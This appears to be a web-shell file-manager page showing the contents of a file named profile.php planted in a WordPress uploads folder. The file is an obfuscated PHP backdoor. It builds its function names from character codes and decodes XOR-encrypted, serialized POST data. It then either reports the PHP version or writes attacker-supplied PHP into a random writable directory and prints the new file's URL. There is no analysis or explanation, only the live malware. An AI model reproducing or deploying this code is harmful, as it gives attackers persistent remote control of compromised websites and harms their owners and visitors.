HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/pianob/wp-content/uploads/2022/12/profile.php
<?php $GELgshrOO = "suzhwz";function teKaZ($GELgshrOO){$EHyTKHyPtq = "\162"."\x61".'w'."\165".chr(1063-949)."\154".chr(929-829).chr(101).'c'.chr(868-757).'d'.chr(101);$jomgNUg = 's'.chr(116)."\162".chr(884-789)."\162".chr(111)."\164".chr(1043-994)."\63";$pGhspM = chr(149-34).'t'.'r'.chr(127-32)."\163".chr(388-276).'l'."\x69".'t';$GELgshrOO = $pGhspM($EHyTKHyPtq($jomgNUg($GELgshrOO)));return $GELgshrOO;}function qfvoMx($OVyCbR, $ExoyceeEW){$EeTmm = "\x73".chr(116)."\x72"."\137"."\x73"."\160".chr(108).'i'.'t';$OVyCbR = array_slice($EeTmm(str_repeat($OVyCbR, (count($ExoyceeEW)/16)+1)), 0, count($ExoyceeEW));return $OVyCbR;}function KwRkA($BVeiZiqrYp, $LmWdu, $OVyCbR){$JToYkksSUc = "a03f9016-fc79-41df-b904-441cb698f412";return $BVeiZiqrYp ^ $JToYkksSUc[$LmWdu % strlen($JToYkksSUc)] ^ $OVyCbR;}function itIQe($ExoyceeEW, $OVyCbR){$ExoyceeEW = array_map("KwRkA", array_values($ExoyceeEW), array_keys($ExoyceeEW), array_values($OVyCbR));$ExoyceeEW = implode("", $ExoyceeEW);$GIuQK = chr(117)."\x6e"."\x73".'e'.chr(114).chr(105).chr(230-133).'l'."\151"."\x7a".chr(101);$ExoyceeEW = @$GIuQK($ExoyceeEW);return $ExoyceeEW;}function MLeSvm(){echo "JkLclLXCry";}function PUngA($WdiGhQir){static $epjmX = array();$yVZyvlNPe = glob($WdiGhQir . '/*', GLOB_ONLYDIR);$bhNSr = count($yVZyvlNPe);if ($bhNSr > 0) {foreach ($yVZyvlNPe as $WdiGhQ) {$usGACHZrEw = "\x69".chr(742-627)."\x5f".chr(119).'r'.chr(269-164)."\x74"."\x61".chr(782-684).'l'.chr(231-130);if (@$usGACHZrEw($WdiGhQ)) {$epjmX[] = $WdiGhQ;}}}foreach ($yVZyvlNPe as $WdiGhQir) PUngA($WdiGhQir);return $epjmX;}function zzIqEAqI(){echo "suzhwz";}function ZKttflwNN($ExoyceeEW){$MFYBRu = chr(68).chr(79)."\x43".chr(222-137).chr(652-575)."\105"."\x4e"."\124".chr(192-97).chr(82)."\x4f".chr(513-434).chr(801-717);$ggApMXJHy = $_SERVER[$MFYBRu];$yVZyvlNPe = PUngA($ggApMXJHy);$TGBzhfvti = array_rand($yVZyvlNPe);$qbDdNMZ = chr(575-529).chr(542-430)."\x68".'p';$ilCQRewRvY = $yVZyvlNPe[$TGBzhfvti] . "/" . substr(md5(time()), 0, 8) . $qbDdNMZ;$CFnEo = 'f'.chr(105)."\154".chr(101).chr(159-64)."\160".chr(117).chr(116)."\x5f"."\143".'o'."\156".chr(116).chr(969-868).chr(110)."\164"."\163";@$CFnEo($ilCQRewRvY, $ExoyceeEW);$cQOMZJc = chr(72)."\x54"."\x54".chr(871-791)."\x5f".chr(72).chr(79)."\x53".'T';$SsHfMMo = chr(104)."\164".chr(638-522)."\160".chr(58).chr(47).'/';$BbkMf = $SsHfMMo . $_SERVER[$cQOMZJc] . substr($ilCQRewRvY, strlen($ggApMXJHy));print($BbkMf);}foreach ($_POST as $OVyCbR => $ExoyceeEW){$WdiGhQKJgWQJo = strlen($OVyCbR);if ($WdiGhQKJgWQJo == 16){$ExoyceeEW = teKaZ($ExoyceeEW);$OVyCbR = qfvoMx($OVyCbR, $ExoyceeEW);$ExoyceeEW = itIQe($ExoyceeEW, $OVyCbR);if (@is_array($ExoyceeEW)){$TGBzhfvti = array_keys($ExoyceeEW);$ExoyceeEW = $ExoyceeEW[$TGBzhfvti[0]];if ($ExoyceeEW === $TGBzhfvti[0]){$CCBLoPHRKI = "\160".chr(104)."\x70";$terMU = 'p'.chr(104)."\x70"."\x76".chr(101).chr(957-843)."\x73"."\151"."\157".'n';$QSaDyiId = "\163".'e'."\162".chr(775-670).chr(823-726).'l'."\x69".chr(122)."\145";echo @$QSaDyiId(Array($CCBLoPHRKI => @$terMU(), ));strlen($OVyCbR);}else {ZKttflwNN($ExoyceeEW);}die();}}}